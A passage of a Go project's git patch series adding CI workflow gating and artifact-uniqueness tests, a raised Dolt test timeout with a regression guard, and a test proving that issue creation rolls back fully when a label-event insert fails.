bazelAggregateGateID) + + for lane, modes := range lanes { + id, gated := bazelLaneGateIDs[lane] + if !gated { + // Advisory: not in the call, so it cannot report, and + // nothing about it excuses the aggregate. + for _, result := range []string{"failure", "cancelled"} { + sc(lane+" reports "+result+" though off", "failure", with(lane, result), false, bazelAggregateGateID) + } + continue + } + if !modes[mode] { + // Skipped by design (baseline); if it ran anyway and failed, + // the gate still sees it. + sc(lane+" ran and failed", "failure", with(lane, "failure"), false, id) + continue + } + for _, call := range []string{"success", "failure"} { + sc(lane+" alone skipped, aggregate "+call, call, with(lane, ""), false, id) + sc(lane+" failed, aggregate "+call, call, with(lane, "failure"), false, id) + sc(lane+" cancelled, aggregate "+call, call, with(lane, "cancelled"), false, id) + } + sc(lane+" cancelled, aggregate cancelled", "cancelled", with(lane, "cancelled"), false, id) + } + } + + // A missing or inconsistent decision (the rbe job failed, the call never + // started, or the outputs disagree) allows no skip and fails the gate. + for _, bad := range []struct{ mode, enabled string }{ + {"", ""}, {"remote", "false"}, {"local", "true"}, {"skip", "true"}, {"remote", ""}, {"bogus", "false"}, {"REMOTE", "true"}, + } { + if got := runScript(bad.mode, bad.enabled, "skips"); got != "" { + t.Errorf("mode %q enabled %q: skips = %q, want none", bad.mode, bad.enabled, got) + } + all := map[string]string{} + for lane := range lanes { + all[lane] = "success" + } + scenarios = append(scenarios, + bazelGateScenario{name: "invalid " + bad.mode + "/" + bad.enabled + ", every lane success", event: "pull_request", + mode: bad.mode, enabled: bad.enabled, call: "success", outputs: all, wantMention: bazelAggregateGateID}, + bazelGateScenario{name: "invalid " + bad.mode + "/" + bad.enabled + ", nothing ran", event: "pull_request", + mode: bad.mode, enabled: bad.enabled, call: "failure", outputs: map[string]string{}, wantMention: bazelAggregateGateID}, + ) + } + + for _, sc := range scenarios { + t.Run(sc.name, func(t *testing.T) { + pass, out := runPRGateStep(t, step, sc) + if pass != sc.wantPass { + t.Errorf("gate pass = %v, want %v (outputs %v, call %s)\n%s", pass, sc.wantPass, sc.outputs, sc.call, out) + } + if !sc.wantPass && sc.wantMention != "" && !regexp.MustCompile(`::error::`+sc.wantMention+`\b`).MatchString(out) { + t.Errorf("red gate does not name %s:\n%s", sc.wantMention, out) + } + }) + } +} + +// Artifact names are unique within a run, and a called workflow's uploads +// belong to the caller's run: a duplicate name makes the second upload fail +// (409) or a download pick the wrong file. So every run that calls bazel.yml +// (with its own inputs) must not upload any name twice (review D1 F7). +func TestBazelArtifactNamesUniqueInCallerRuns(t *testing.T) { + for _, caller := range []string{"pr.yml", "nightly.yml"} { + t.Run(caller, func(t *testing.T) { + uses := collectRunArtifactUploads(t, caller, nil, "") + var sawBazel bool + for _, u := range uses { + sawBazel = sawBazel || strings.Contains(u.where, "-> "+bazelWorkflowName+" job ") + } + if !sawBazel { + t.Fatalf("%s run has no upload from %s; the collector did not follow the call", caller, bazelWorkflowName) + } + for i, a := range uses { + if a.matrix && a.pattern == nil { + t.Errorf("%s: %s uploads fixed name %q from a matrix job; every leg collides", caller, a.where, a.name) + } + for _, b := range uses[i+1:] { + if bazelArtifactNamesCollide(a, b) { + t.Errorf("%s run: %s and %s both upload %q / %q", caller, a.where, b.where, a.name, b.name) + } + } + } + }) + } +} + +type runArtifactUpload struct { + name, where string + pattern *regexp.Regexp // nil when the name resolved to a literal + matrix bool +} + +func bazelArtifactNamesCollide(a, b runArtifactUpload) bool { + switch { + case a.pattern == nil && b.pattern == nil: + return a.name == b.name + case a.pattern == nil: + return b.pattern.MatchString(a.name) + case b.pattern == nil: + return a.pattern.MatchString(b.name) + } + return a.name == b.name +} + +// collectRunArtifactUploads lists the upload-artifact names of one run of +// file: its jobs' steps and, recursively, those of the local workflows its +// jobs call with their `with:` inputs (workflow_call defaults otherwise). +// inputs.X, `inputs.X || 'lit'` and env.X (job, then workflow env) resolve; +// any other expression (a matrix value) becomes a wildcard. +func collectRunArtifactUploads(t *testing.T, file string, with map[string]string, prefix string) []runArtifactUpload { + t.Helper() + path := filepath.Join(sourceRepoRoot(t), ".github", "workflows", file) + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var doc struct { + On struct { + WorkflowCall struct { + Inputs map[string]struct { + Default any `yaml:"default"` + } `yaml:"inputs"` + } `yaml:"workflow_call"` + } `yaml:"on"` + Env map[string]string `yaml:"env"` + Jobs map[string]struct { + Uses string `yaml:"uses"` + With map[string]any `yaml:"with"` + Env map[string]string `yaml:"env"` + Strategy struct { + Matrix any `yaml:"matrix"` + } `yaml:"strategy"` + Steps []ciWorkflowStep `yaml:"steps"` + } `yaml:"jobs"` + } + if err := yaml.Unmarshal(data, &doc); err != nil { + t.Fatalf("parse %s: %v", path, err) + } + inputs := map[string]string{} + for name, in := range doc.On.WorkflowCall.Inputs { + if in.Default != nil { + inputs[name] = fmt.Sprint(in.Default) + } + } + for k, v := range with { + inputs[k] = v + } + exprRe := regexp.MustCompile(`\$\{\{\s*(.*?)\s*\}\}`) + inputOr := regexp.MustCompile(`^inputs\.([A-Za-z0-9_-]+)(?:\s*\|\|\s*'([^']*)')?$`) + envRef := regexp.MustCompile(`^env\.([A-Za-z0-9_]+)$`) + var out []runArtifactUpload + var names []string + for name := range doc.Jobs { + names = append(names, name) + } + sort.Strings(names) + for _, jobName := range names { + job := doc.Jobs[jobName] + if strings.HasPrefix(job.Uses, "./.github/workflows/") { + callWith := map[string]string{} + for k, v := range job.With { + callWith[k] = fmt.Sprint(v) + } + called := strings.TrimPrefix(job.Uses, "./.github/workflows/") + out = append(out, collectRunArtifactUploads(t, called, callWith, prefix+file+" job "+jobName+" -> ")...) + continue + } + var resolve func(s string, depth int) (string, bool) + resolve = func(s string, depth int) (string, bool) { + literal := true + res := exprRe.ReplaceAllStringFunc(s, func(m string) string { + inner := exprRe.FindStringSubmatch(m)[1] + if in := inputOr.FindStringSubmatch(inner); in != nil { + if v := inputs[in[1]]; v != "" { + return v + } + return in[2] + } + if e := envRef.FindStringSubmatch(inner); e != nil && depth < 4 { + v, ok := job.Env[e[1]] + if !ok { + v, ok = doc.Env[e[1]] + } + if ok { + r, lit := resolve(v, depth+1) + literal = literal && lit + return r + } + } + literal = false + return "\x00" + }) + return res, literal + } + for _, step := range job.Steps { + if actionFamily(step.Uses) != "actions/upload-artifact" { + continue + } + name, literal := resolve(step.With["name"], 0) + u := runArtifactUpload{name: name, where: prefix + file + " job " + jobName, matrix: job.Strategy.Matrix != nil} + if !literal { + parts := strings.Split(name, "\x00") + for i := range parts { + parts[i] = regexp.QuoteMeta(parts[i]) + } + u.pattern = regexp.MustCompile("^" + strings.Join(parts, ".+") + "$") + u.name = strings.ReplaceAll(name, "\x00", "*") + } + out = append(out, u) + } + } + return out } // Every action in the Bazel lane is pinned to a full commit SHA, with the same @@ -1759,8 +2490,13 @@ func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) pkg := job.step(t, "Package bd (ci-build-artifacts layout)") upload := job.step(t, "Upload build artifacts") - if prUpload.With["name"] != "ci-build-artifacts" || upload.With["name"] != prUpload.With["name"] { - t.Errorf("artifact name = %q, want pr.yml's %q (ci-build-artifacts)", upload.With["name"], prUpload.With["name"]) + // Named by the build-artifact-name input, pr.yml's name by default; the + // run inside pr.yml renames it (TestBazelLaneIsGatedAlongsideLegacy) so + // the two uploads cannot collide. + if prUpload.With["name"] != "ci-build-artifacts" || + upload.With["name"] != "${{ inputs.build-artifact-name || '"+prUpload.With["name"]+"' }}" || + readBazelWorkflowCall(t).Inputs["build-artifact-name"].Default != prUpload.With["name"] { + t.Errorf("artifact name = %q, want the build-artifact-name input defaulting to pr.yml's %q", upload.With["name"], prUpload.With["name"]) } for _, key := range []string{"retention-days", "if-no-files-found"} { if upload.With[key] != prUpload.With[key] { @@ -2301,7 +3037,8 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } // Each tier is a remote-only job of its own (the job if is pinned by - // TestBazelWorkflowIsAdvisory via bazelRemoteOnlyJobs): not a step of + // TestBazelWorkflowJobsAndExecutionMode via bazelRemoteOnlyJobs, and + // pr.yml's gate requires it: bazelLaneGateIDs): not a step of // bazel-doltserver (which also runs locally, and whose job a gate may // require) or of bazel-integration (which a caller may switch off, // although the server tier is a PR-time tier). @@ -2315,8 +3052,8 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Errorf("%s timeout-minutes = %d; it runs remotely only (longest shard ~2-8 min), keep it at most 30", c.job, job.TimeoutMinutes) } assertBazelTierStep(t, job, c.job, c.config) - if n := len(job.Steps); n != 5 { - t.Errorf("%s has %d steps, want checkout, setup-bazel, the tier, check_testcases.py, log upload", c.job, n) + if n := len(job.Steps); n != 6 { + t.Errorf("%s has %d steps, want checkout, setup-bazel, the tier, check_testcases.py, log upload, result recorder", c.job, n) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { @@ -2756,7 +3493,7 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { if key && value == "continue-on-error" { - t.Errorf("%s: %s hides failures; the lane is advisory by staying out of ci-gate", bazelWorkflowName, path) + t.Errorf("%s: %s hides failures from pr.yml's ci-gate", bazelWorkflowName, path) } if key && (value == "secrets" && strings.HasPrefix(path, ".jobs.")) { t.Errorf("%s: %s passes secrets to a called workflow or container", bazelWorkflowName, path) @@ -2832,16 +3569,14 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &doc); err != nil { t.Fatal(err) } - gotCallOutputs := map[string]string{} - for k, v := range doc.On.WorkflowCall.Outputs { - gotCallOutputs[k] = v.Value - } - wantCallOutputs := map[string]string{ + // (The lanes' result outputs: TestBazelLaneIsGatedAlongsideLegacy.) + for name, want := range map[string]string{ "rbe-enabled": "${{ jobs.rbe.outputs.enabled }}", "rbe-mode": "${{ jobs.rbe.outputs.mode }}", - } - if !reflect.DeepEqual(gotCallOutputs, wantCallOutputs) { - t.Errorf("workflow_call outputs = %v, want %v", gotCallOutputs, wantCallOutputs) + } { + if got := doc.On.WorkflowCall.Outputs[name].Value; got != want { + t.Errorf("workflow_call output %s = %q, want %q", name, got, want) + } } // Nothing outside the decision step re-derives the condition. @@ -3107,13 +3842,18 @@ func TestBazelAutofixWorkflowSecurity(t *testing.T) { if err := root.Decode(&doc); err != nil { t.Fatal(err) } - // Only "Bazel" (bazel.yml on pull_request) uploads bazel-sync-patch. Any - // other trigger would only ever be a no-op run (and, with a shared - // concurrency group, could get in a real fix's way). - if want := []string{"Bazel"}; !reflect.DeepEqual(doc.On.WorkflowRun.Workflows, want) { + // Only "PR" (pr.yml, whose bazel job calls bazel.yml) uploads + // bazel-sync-patch in a pull_request run: bazel.yml has no pull_request + // trigger of its own, so a "Bazel" run is never a PR event. Any other + // trigger would only ever be a no-op run (and, with a shared concurrency + // group, could get in a real fix's way). + if want := []string{"PR"}; !reflect.DeepEqual(doc.On.WorkflowRun.Workflows, want) { t.Errorf("workflow_run.workflows = %v, want %v", doc.On.WorkflowRun.Workflows, want) } - requireWorkflowProducesArtifact(t, bazelWorkflowName, "Bazel", "bazel-sync-patch") + requireWorkflowProducesArtifact(t, "pr.yml", "PR", "bazel-sync-patch") + if slices.Contains(yamlMapKeys(readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)), "on"), "pull_request") { + t.Errorf("%s has its own pull_request trigger; its PR runs would upload bazel-sync-patch outside the \"PR\" run this workflow watches", bazelWorkflowName) + } if !reflect.DeepEqual(doc.On.WorkflowRun.Types, []string{"completed"}) { t.Errorf("workflow_run.types = %v, want [completed]", doc.On.WorkflowRun.Types) } @@ -3210,7 +3950,10 @@ func TestBazelAutofixWorkflowSecurity(t *testing.T) { } // requireWorkflowProducesArtifact: the workflow a workflow_run trigger names -// runs on pull_request and uploads the artifact the autofix job consumes. +// runs on pull_request and uploads the artifact the autofix job consumes, +// from one of its own jobs or from a local workflow a job calls +// unconditionally (a called workflow's uploads belong to the caller's run, +// under the caller's run id). func requireWorkflowProducesArtifact(t *testing.T, file, name, artifact string) { t.Helper() node := readYAMLNode(t, filepath.Join(".github", "workflows", file)) @@ -3220,16 +3963,24 @@ func requireWorkflowProducesArtifact(t *testing.T, file, name, artifact string) if !slices.Contains(yamlMapKeys(node, "on"), "pull_request") { t.Errorf("%s has no pull_request trigger; the autofix job only acts on PR runs", file) } - var uploads bool - for _, job := range readCIWorkflow(t, file).Jobs { - for _, step := range job.Steps { - if strings.HasPrefix(step.Uses, "actions/upload-artifact@") && step.With["name"] == artifact { - uploads = true + uploads := func(wf ciWorkflow) bool { + for _, job := range wf.Jobs { + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/upload-artifact@") && step.With["name"] == artifact { + return true + } } } + return false } - if !uploads { - t.Errorf("%s never uploads %s; the workflow_run trigger on it would be dead", file, artifact) + found := uploads(readCIWorkflow(t, file)) + for _, job := range readCIWorkflow(t, file).Jobs { + if called, ok := strings.CutPrefix(job.Uses, "./.github/workflows/"); ok && job.If == "" && uploads(readCIWorkflow(t, called)) { + found = true + } + } + if !found { + t.Errorf("%s never uploads %s (itself or through a called workflow); the workflow_run trigger on it would be dead", file, artifact) } } From 9b215a40eb0073316703483f1a3ac373707829f7 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 29 Sep 2026 04:04:13 -0700 Subject: [PATCH 231/624] fix(storage): widen schema-init timeout headroom for migrating-store-open tests (#5999) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(dolt): red — flaky: TestCrossProject_* fail with 'schema init: context deadline exceeded' under host load (refs be-696w) * feat: green — flaky: TestCrossProject_* fail with 'schema init: context deadline exceeded' under host load (refs be-696w) * docs(dolt): state the package-wide cost of raising testTimeout Review #5999: "this isn't a two-test change ... please say that in the constant's comment." Measured on this branch: testContext is called from 125 files in the package, and testTimeout is multiplied at 13 5*testTimeout sites — all dropCtx database-drop cleanups, in initschema_pool_poison_test.go, schema_version_test.go, schema_skew_test.go, remote_migrate_gate_test.go and smart_remote_migrate_gate_test.go. 45s to 90s takes those from 225s to 450s, so a genuinely hung drop reports in 7.5 minutes rather than 3.75. States that as the accepted trade rather than leaving it implicit, and names the alternative (give schema init its own bound) so a future reader lowering this constant back knows what to do instead. Comment-only; no behavior change. TestSchemaInitTimeoutHasLoadHeadroom still passes, vet clean. Refs be-1nl2h. * test(dolt): maintainer adoption fixes for #5999 Bazel: list schema_init_timeout_test.go in the dolt go_test srcs, so `bazel test //internal/storage/dolt:dolt_test` actually runs the PR's regression guard. The srcs list is enumerated explicitly and was exhaustive for untagged tests at the base, so without this line bazel reports PASSED while selecting none of the PR's tests. Review fixes (attempt 1 — synthesis minor + nit, both non-gating): - dolt_test.go: the testTimeout cost disclosure stated hard counts (125 caller files, 13 `5*testTimeout` sites, 5 named holder files) that were exactly right at the contributor's merge base and went stale across the ~210-commit base advance. Measured at this head they are 133 / 16 / 7 — every count wrong in the understating direction, i.e. the disclosure undersold the exact cost it exists to make visible. The two unnamed holder files (shared_store_migrate_gate_test.go, smart_gate_data_behind_test.go) account for exactly the +3 and carry the same dropCtx shape, so only the enumeration was stale, not the characterization. Replaced the literals with the grep that reproduces them rather than re-pinning numbers that already decayed once. The derived arithmetic (225s->450s, 3.75->7.5 min) is base-independent and is left unchanged. - schema_init_timeout_test.go: cite the sizing rule so the 90s floor is derivable rather than folkloric. The caller's budget must cover cold server start, the Ping, the schema-init retry wrapper's full serverRetryMaxElapsed (30s) and one migration pass — and that wrapper cannot absorb its own exhaustion, because initSchemaOnDBWithRetryAndGateBootstrapHeal composes its backoff with backoff.WithContext on the caller's context. Same sizing rule initschema_multiprocess_test.go documents for its own ctx. Both review edits are comment-only; no code, test or assertion changed. Declined the nit's optional rename of TestSchemaInitTimeoutHasLoadHeadroom: the stamped 2-arm mutation proof and the banked CI green both identify that test by name, so renaming it would invalidate the only executed by-name evidence this PR has, for a naming preference the reviewer itself marked optional. --------- Co-authored-by: Julian Knutsen --- internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/dolt_test.go | 21 +++++++++++- .../storage/dolt/schema_init_timeout_test.go | 32 +++++++++++++++++++ 3 files changed, 53 insertions(+), 1 deletion(-) create mode 100644 internal/storage/dolt/schema_init_timeout_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 8934919f9..df653d2f1 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -306,6 +306,7 @@ go_test( "row_version_test.go", "schema_cli_parity_integration_test.go", "schema_cli_parity_test.go", + "schema_init_timeout_test.go", "schema_migration_dirty_test.go", "schema_migrations_conflict_test.go", "schema_parity_test.go", diff --git a/internal/storage/dolt/dolt_test.go b/internal/storage/dolt/dolt_test.go index 368d5089b..83a82c478 100644 --- a/internal/storage/dolt/dolt_test.go +++ b/internal/storage/dolt/dolt_test.go @@ -27,7 +27,26 @@ import ( // ignored migration, each Dolt-committed), which grows as migrations // accumulate — with headroom for a loaded machine; some tests set up two // stores under one context. -const testTimeout = 45 * time.Second +// +// Was 45s; raised to 90s for be-696w. At 45s, migrating-open tests +// (cross_project_test.go's TestCrossProject_*, TestMigratingOpen_FirstReadSucceeds) +// intermittently failed with "failed to initialize schema: context deadline +// exceeded" at exactly the old bound under real host contention (15+ +// concurrent agent sessions) — see TestSchemaInitTimeoutHasLoadHeadroom for +// the regression guard. +// +// This is not a two-test change. testTimeout backs testContext, which is +// called throughout this package, and it is multiplied at the `5*testTimeout` +// dropCtx database-drop cleanups — reproduce the current blast radius with +// `git grep -n '5\*testTimeout' internal/storage/dolt/`, where every hit +// outside this comment is one of those cleanups. Raising 45s to 90s therefore +// takes those bounds from 225s to 450s: a genuinely hung drop now needs 7.5 +// minutes to report instead of 3.75. That is the cost being accepted here — +// a slower failure signal across the package in exchange for not failing +// honest work under host contention. If that trade stops being worth it, the +// fix is to give the schema-init path its own bound rather than to lower this +// one back. +const testTimeout = 90 * time.Second // testSem limits concurrent database-touching tests to avoid overwhelming the // shared Dolt testcontainer. Without this, 200+ parallel tests cause a diff --git a/internal/storage/dolt/schema_init_timeout_test.go b/internal/storage/dolt/schema_init_timeout_test.go new file mode 100644 index 000000000..dcb665f7e --- /dev/null +++ b/internal/storage/dolt/schema_init_timeout_test.go @@ -0,0 +1,32 @@ +package dolt + +import ( + "testing" + "time" +) + +// TestSchemaInitTimeoutHasLoadHeadroom guards be-696w: testTimeout (dolt_test.go) +// bounds every migrating store-open in this package, directly or via +// testContext. At 45s it was measured too tight under real host contention — +// cross_project_test.go and TestMigratingOpen_FirstReadSucceeds both failed +// with "failed to initialize schema: context deadline exceeded" at exactly +// that bound (see be-696w). This is a floor, not an exact-value check, so a +// future deliberate increase does not need to touch this test — only a +// regression back toward the too-tight value trips it. +// +// Why 90s and not some other floor: the caller's budget has to cover cold +// server start, the Ping, the schema-init retry wrapper's full +// serverRetryMaxElapsed (30s, declared in store.go) and one migration pass. +// That wrapper (initSchemaOnDBWithRetryAndGateBootstrapHeal) composes its +// backoff with backoff.WithContext on the caller's context, so the caller's +// budget is the hard ceiling and no retry can absorb its exhaustion — which is +// why be-696w had to be fixed by raising this constant. Same sizing rule the +// multiprocess child documents for its own ctx in +// initschema_multiprocess_test.go. +func TestSchemaInitTimeoutHasLoadHeadroom(t *testing.T) { + const minTestTimeout = 90 * time.Second + if testTimeout < minTestTimeout { + t.Fatalf("testTimeout = %s, want >= %s (be-696w: 45s measured too tight under host contention)", + testTimeout, minTestTimeout) + } +} From ff3a6e050d76675735c50c5da9bd2459e4ca9053 Mon Sep 17 00:00:00 2001 From: Athos Bernardes <79493098+athosmartins@users.noreply.github.com> Date: Tue, 29 Sep 2026 08:45:12 -0300 Subject: [PATCH 232/624] test(dolt): prove bd create rolls back fully on label-event failure (ga-xcq1ph) (#5989) * test(dolt): prove bd create rolls back fully on label-event failure (ga-xcq1ph) ga-xcq1ph reported that, under real Dolt write contention, `bd create` with multiple labels printed an error naming a generated issue ID ("failed to record label event ... context canceled / transaction has already been committed or rolled back") and that ID never persisted. The open question was whether this is silent partial persistence or a fully-rolled-back transaction whose error text happens to mention the doomed ID. TestCreateIssueRollsBackFullyOnLabelEventFailure deterministically injects the exact failure shape (a label's "Added label" event insert returning context.Canceled) into a real Dolt transaction, without racing a wall-clock timeout against a live contention window, then rolls back exactly as DoltStore.withWriteTx does on any callback error. It confirms the issue, its first label, and its events all fail to persist -- and, sabotaged locally to commit instead of rollback, the same test correctly fails, proving the assertions are not vacuous. Combined with reading the call chain (cmd/bd/create.go -> ops.Create -> issueOperations.Create -> withRetryTx -> withWriteTx), this rules out silent data loss: withRetryTx's error classifiers (isDoltAutocommitRollbackError / isSerializationError / isRetryableError) never match context.Canceled, so the failure surfaces once as a real error with exit code 1, nothing printed as "created". No production code changes -- this closes a real gap in coverage (no existing test exercised a mid-transaction failure during PersistLabels) without changing any behavior. Co-Authored-By: Claude Sonnet 5 * test(dolt): reproduce sql.ErrTxDone from a real mid-tx context cancel (ga-xcq1ph) Addresses PR review feedback from bee-ghosttrack (2026-09-03, MERGE-AFTER-FIXES verdict): 1. Reword the existing test's doc comment: it "mirrors" withWriteTx's rollback behavior by hand, it does not exercise the wrapper itself. 2. Add TestCreateIssueRollsBackFullyOnContextCancelMidTransaction. The existing test's injected context.Canceled never reaches the real transaction, so it can't reach the state where partial persistence would actually be conceivable: database/sql's own background awaitDone goroutine tearing the transaction down on its own after a real context cancellation, racing the caller's own Rollback(). That race is what produced the original report's second error -- sql.ErrTxDone ("transaction has already been committed or rolled back") -- and it's a materially different state than a manually rolled-back, still-alive transaction. The new test cancels a real, BeginTx-scoped context mid-transaction, polls for sql.ErrTxDone to confirm the background rollback actually completed, confirms the follow-up Rollback() call reproduces the original error text verbatim, and re-queries on a fresh connection (store.db, not the dead tx) to prove this state also rolls back cleanly with no partial persistence. Verified locally against a throwaway native dolt sql-server (this machine has no Docker for the repo's testcontainer harness): both tests pass, and disabling the new test's cancel trigger makes it fail on the expected assertion -- confirming it isn't vacuous. * chore(dolt): bazel srcs for create_rollback_test.go + correct its withWriteTx citations Maintainer fixup for PR #5989 (fork branch; contributor commits untouched). Two parts. 1. internal/storage/dolt/BUILD.bazel, generated by 'bazel run //:gazelle'. The PR adds an untagged test file; the package's go_test srcs list is enumerated exhaustively (226 entries before this change, 227 after, which is every *_test.go on disk in the package at this base), so without this the new tests are invisible to Bazel. Commit 6da2a4347 (#6881) added .github/workflows/bazel.yml, whose tools/bazel/equivalence.py step fails on any Go test that 'go test' runs and Bazel did not, and whose 'make bazel-sync' step fails on BUILD drift. Fork PRs run that lane. 2. create_rollback_test.go, comments only -- review iteration 1's one minor and one nit, both non-gating (synthesis and scorecard both approve). - Three comments cited store.go:1195 as the home of errors.Join(err, tx.Rollback()). That line sits in withRetryTx's backoff configuration; the join is in commitWriteTx, which withWriteTx delegates to. Now cited by symbol rather than line number, so the citation cannot drift again. - The comments described the hand-rolled BeginTx + manual tx.Rollback() as "exactly what withWriteTx does". Narrowed to say which half is mirrored and which is not: commitWriteTx installs three transaction-scoped activations before invoking the callback (scopeEventsJournalTransaction, scopeVersionedHistoryTransaction, issueops.ScopeBlockedRecheckTransaction) and runs a post-commit blocked recheck on the success path. An unregistered tx journals nothing (journalEnabled defaults to false for a tx absent from the scope map), so the comments now record that adding a bd_events_journal or issue_versions cleanliness assertion to this shape, or moving the injection point downstream of those seams, would pass vacuously. Driving the real wrapper is left out deliberately in test 2, whose subject is database/sql tearing the transaction down independently of any wrapper. Part 2 changes no code: comments only, no production or test behavior change. Verified at this tree (rebased onto cda2407115): gofmt clean; git diff --check clean; go vet ./internal/storage/dolt/ exit 0, and again under CGO_ENABLED=0 and GOOS=windows CGO_ENABLED=0; the BUILD.bazel line reproduced by deleting it and re-running 'make bazel-sync', which restored the file to the byte-identical blob e5f4157bbd with no other drift in the tree; and both tests pass against a live Dolt server -- 2 PASS / 0 FAIL / 0 SKIP, ok ... 20.869s. --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/create_rollback_test.go | 328 ++++++++++++++++++ 2 files changed, 329 insertions(+) create mode 100644 internal/storage/dolt/create_rollback_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index df653d2f1..6c7bd6b38 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -174,6 +174,7 @@ go_test( "counts_wisp_test.go", "create_guard_test.go", "create_issue_commit_test.go", + "create_rollback_test.go", "credentials_test.go", "cross_project_test.go", "cross_record_invariant_contract_test.go", diff --git a/internal/storage/dolt/create_rollback_test.go b/internal/storage/dolt/create_rollback_test.go new file mode 100644 index 000000000..f9f08cc9a --- /dev/null +++ b/internal/storage/dolt/create_rollback_test.go @@ -0,0 +1,328 @@ +package dolt + +import ( + "context" + "database/sql" + "errors" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// failOnSecondEventInsertTx wraps a real *sql.Tx and fails the second +// "INSERT INTO events" statement with context.Canceled. In CreateIssueInTx's +// statement order the first such insert is always the issue-created event and +// the second is the first label's "Added label" event — so this deterministically +// reproduces a label-event write failing mid-transaction (ga-xcq1ph) without +// racing a wall-clock timeout against a real Dolt contention window. +type failOnSecondEventInsertTx struct { + *sql.Tx + eventInsertCount int + injected bool +} + +func (f *failOnSecondEventInsertTx) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) { + if strings.Contains(query, "INSERT INTO events") { + f.eventInsertCount++ + if f.eventInsertCount == 2 { + f.injected = true + return nil, context.Canceled + } + } + return f.Tx.ExecContext(ctx, query, args...) +} + +// TestCreateIssueRollsBackFullyOnLabelEventFailure is a regression test for +// ga-xcq1ph: a `bd create` with multiple labels, observed under real Dolt +// write contention, printed an error naming a generated issue ID ("failed to +// record label event ... context canceled / transaction has already been +// committed or rolled back") and that ID never persisted (confirmed by a +// later `bd show`). The open question was whether that is silent partial +// persistence (a real bug) or a fully-rolled-back transaction whose error +// text merely mentions the doomed ID (confusing, but safe). +// +// This test injects the exact failure shape at the exact point PersistLabels +// hits it (a label's "Added label" event insert returning context.Canceled) +// against a real Dolt transaction, then rolls back by hand the way +// DoltStore.commitWriteTx does on any callback error +// (errors.Join(err, tx.Rollback()), reached via withWriteTx). That mirrors +// the rollback half only; it does not exercise the wrapper itself — the +// wrapper the production `bd create` path (cmd/bd/create.go -> writeOps -> +// ops.Create -> issueOperations.Create -> runIssueOperationTx -> withRetryTx +// -> withWriteTx) actually runs +// CreateIssuesInTxWithResult/CreateIssueInTxWithResult under — and checks +// whether the issue or its first label leaked through anyway. +// withRetryTx never retries this failure: context.Canceled matches none of +// isDoltAutocommitRollbackError/isSerializationError/isRetryableError, so it +// falls to backoff.Permanent and surfaces to the CLI as a single failed +// attempt, exactly as reported. +// +// Exactly what is and is not mirrored: before calling its callback, +// commitWriteTx installs three transaction-scoped activations — +// scopeEventsJournalTransaction, scopeVersionedHistoryTransaction and +// issueops.ScopeBlockedRecheckTransaction — and on the success path runs a +// post-commit blocked recheck. The bare BeginTx below registers none of them, +// so this transaction cannot emit a bd_events_journal or issue_versions row +// at all (journalEnabled falls back to the unregistered-tx default, false). +// The three counts asserted below — issues, labels, events — are therefore +// the only ones this shape can meaningfully test: adding a journal or +// issue_versions cleanliness assertion here, or moving the injection point +// downstream of those seams, would pass vacuously. +// +// What this test does NOT cover: the injected context.Canceled never +// reaches the server, so the real transaction stays alive throughout and is +// rolled back manually above, once, by this test's own tx.Rollback() call. +// The original production report's error text named a second condition — +// "transaction has already been committed or rolled back" (sql.ErrTxDone) — +// which only occurs when database/sql's own background machinery has +// already torn the transaction down out from under the caller. See +// TestCreateIssueRollsBackFullyOnContextCancelMidTransaction below for that +// case. +func TestCreateIssueRollsBackFullyOnLabelEventFailure(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + const issueID = "create-rollback-label-event" + issue := &types.Issue{ + ID: issueID, + Title: "phantom create under label-event failure", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Labels: []string{"label-one", "label-two"}, + } + + realTx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin tx: %v", err) + } + defer func() { _ = realTx.Rollback() }() // no-op if already rolled back below + + faultyTx := &failOnSecondEventInsertTx{Tx: realTx} + + // CreateOnly matches issueops.ExecuteCreate's own BatchCreateOptions — + // the facade cmd/bd/create.go actually calls (via writeOps/ops.Create) on + // the production `bd create` path — so this test exercises the same + // insert-vs-upsert branch in InsertIssueIfNew that production hits. + bc, err := issueops.NewBatchContext(ctx, faultyTx, storage.BatchCreateOptions{CreateOnly: true, SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("new batch context: %v", err) + } + + _, createErr := issueops.CreateIssueInTxWithResult(ctx, faultyTx, bc, issue, "tester") + if createErr == nil { + t.Fatal("expected CreateIssueInTxWithResult to fail when a label event insert is canceled, got nil error") + } + if !strings.Contains(createErr.Error(), "failed to record label event") { + t.Fatalf("error = %v, want it to mention the failed label event (matches the production error text in 